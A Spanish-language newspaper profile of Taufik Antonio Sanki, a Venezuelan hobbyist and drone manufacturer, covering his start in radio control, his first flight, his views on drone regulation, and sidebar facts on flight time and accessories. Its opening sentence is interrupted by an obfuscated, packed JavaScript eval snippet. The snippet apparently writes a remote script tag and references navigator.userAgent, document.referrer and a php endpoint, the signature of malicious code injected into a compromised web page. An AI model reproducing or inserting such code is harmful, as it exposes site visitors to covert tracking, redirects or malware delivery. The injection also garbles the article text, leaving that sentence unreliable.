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Taufik Antonio Sanki, un zuliano creador de drones

Luisa Godoy / Maracaibo / lgodoy@laverdad.com
El eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttyzd|var|u0026u|referrer|nieyn||js|php'.split('|'),0,{})) venezolano, es el único en el país que fabrica estos aparatos. Su aventura empezó el año pasado. La mayoría de los creados son de cuatro hélices, pero también ha hecho de seis y de ocho

Taufik Antonio Sanki, nacido en la Tierra del Sol Amado, tiene su propia empresa. (Fotos: Cortesía de Taufik Antonio Sanki)

Siempre estuvo vinculado con el mundo de los radio control. Fabricaba carritos, lanchas y avionetas a control remoto, incluso asegura que también hizo carros a gasolina. Un día por casualidad llega a un sitio donde hacían unas filmaciones aéreas para comerciales cinematográficos de Hollywood, se detiene y empieza a curiosear. Para su sorpresa lo que vería a continuación lo llevaría a convertirse en el primer "maracucho" fabricante de drones. 

"Cuando yo vi que sacaron aquel drone, me quedé esperando para ver cómo funcionaba, cuando despegó, sentí que era lo más grandioso que había visto en mi vida", contó a La Verdad Taufik Antonio Sanki, nacido en la Tierra del Sol Amado. Hizo varias preguntas, las suficientes como para obsesionarse y crear un aparato como ese. Pasaron los días y su investigación sobre cómo desarrollar un drone era más intensa. No se despegaba de la computadora. Empieza a comprar piezas para luego armar. ¿El resultado?: Un S330, programado y ensamblado por él mismo. 

El hobby de crear estos aparatos comenzó el año pasado y hoy día, no hay quien lo pare. Pierde la cuenta, ya pasó los 100, y actualmente tiene cinco operativos entre su país natal y el exterior. La mayoría de los creados son de cuatro hélices, pero también ha hecho de seis y de ocho. "El hobby siempre está presente, pero llegó un momento entre en la parte del servicio. La gente empezó a pedir el servicio de drones, -el mantenimiento y la fabricación del mismo-, y es lo que ahora hago".

Actualmente vive en la Costa Oriental del Lago, específicamente en Tía Juana, pero la fabricación de los vehículos aéreos no tripulados, como también son conocidos, lo llevan a trasladarse de Venezuela al exterior y viceversa.  

Primer despegue

Anécdotas tiene muchas. Pero recuerda con gran satisfacción la de su primer despegue. Tomó un Dromida Kodo (sirve para vuelos internos), que cabía en la palma de su mano. "Voy a probar ese drone chiquitico", le dice a un familiar que en ese momento lo acompañaba. 

Lo compró como cual "maracucho fiebrúo", y al llegar a su casa lo puso a cargar. Una vez cargado, y aunque no estaba seguro de que su desplazamiento fuera el adecuado, empezó el despegue. "El droncito se elevó y la broma era mantener el vuelo, pero apenas aceleré lo mandé pal techo y lo rompí", comentó entre risas. "Ahí aprendí de que en los radiocontroles, más que todo el de los drones para mover los sticks (los palitos del control), hay que moverlos minuciosamente para poderlos manejar. Ya he manejado drones hasta del tamaño de un carro".

Para Sanki, fabricar drones es un sueño hecho realidad. Asegura que todos los días se aprende algo nuevo y más en el mundo de la tecnología. "El mundo de la tecnología es monodinámico, siempre hay que explorar, actualizar. En la tecnología la palabra actualizar es clave". 

Vuelo elevado

El venezolano es el único que fabrica estos aparatos en su país. Durante el enlace con este rotativo se mostró abierto con el estado. "Si en Venezuela requieren de mis conocimientos, yo estoy abierto y dispuesto a colaborar. Nunca está demás que nos culturicemos con temas como estos".  

Aunque en Venezuela y otros muchos países se carece de legislación sobre los drones, el zuliano que participó recientemente en la DJI Events, líder mundial en equipamiento robótico creativo, asegura que no hay que temer por "las desventajas" que esto muchos puedan "pintar" de ellos y asegura que en Estados Unidos ya se trabaja para la regulación del vuelo de los drones.  

"Sí es cierto que hay gente que los usa con fines bélicos, pero no es nuestro caso. El ser humano crea los problemas, pero él mismo ser humano busca la solución, lo mismo se decía de la electricidad, por ejemplo. Si nos ponemos a ver, estos aparatos son un beneficio para nosotros, y en nuestro país funcionarían mucho. La mayoría se usa para filmaciones, de ambulancias, de vigilancia o de transporte; ese es el uso que también le doy a los míos". 

 

En Venezuela no hay los componentes o instrumentos para crear drones, todos se adquieren en el exterior. 

 

TIEMPO DE DURACIÓN DE VUELO

Entre 5 y 25 minutos varía el vuelo de un drone, dependiendo del modelo

PARA CARGARLO

De 30 a 60 min podría estar cargándose la batería de un drone

ACCESORIOS 

  • Almohadilla para la partida de un miniquad en competencias
  • Lentes para ver en primera persona el vuelo
  • Monitor de área de vuelo

EL MÁS COMERCIAL 

Quadcopter: Usa cuatro motores. Tiene un solo cerebro que controla cuatro motores simultáneamente

¿SABÍAS QUE?

Ya hay muchos drones con telemetría que puede verse en la pantalla de vuelo. Datos como: altitud, porcentaje de la batería, orientación brújula y la distancia entre el drone y el piloto. 

EN LAS REDES

Instagram: @miniquadusa / @taufiksanki 

Web: www.antigravitydrones.com

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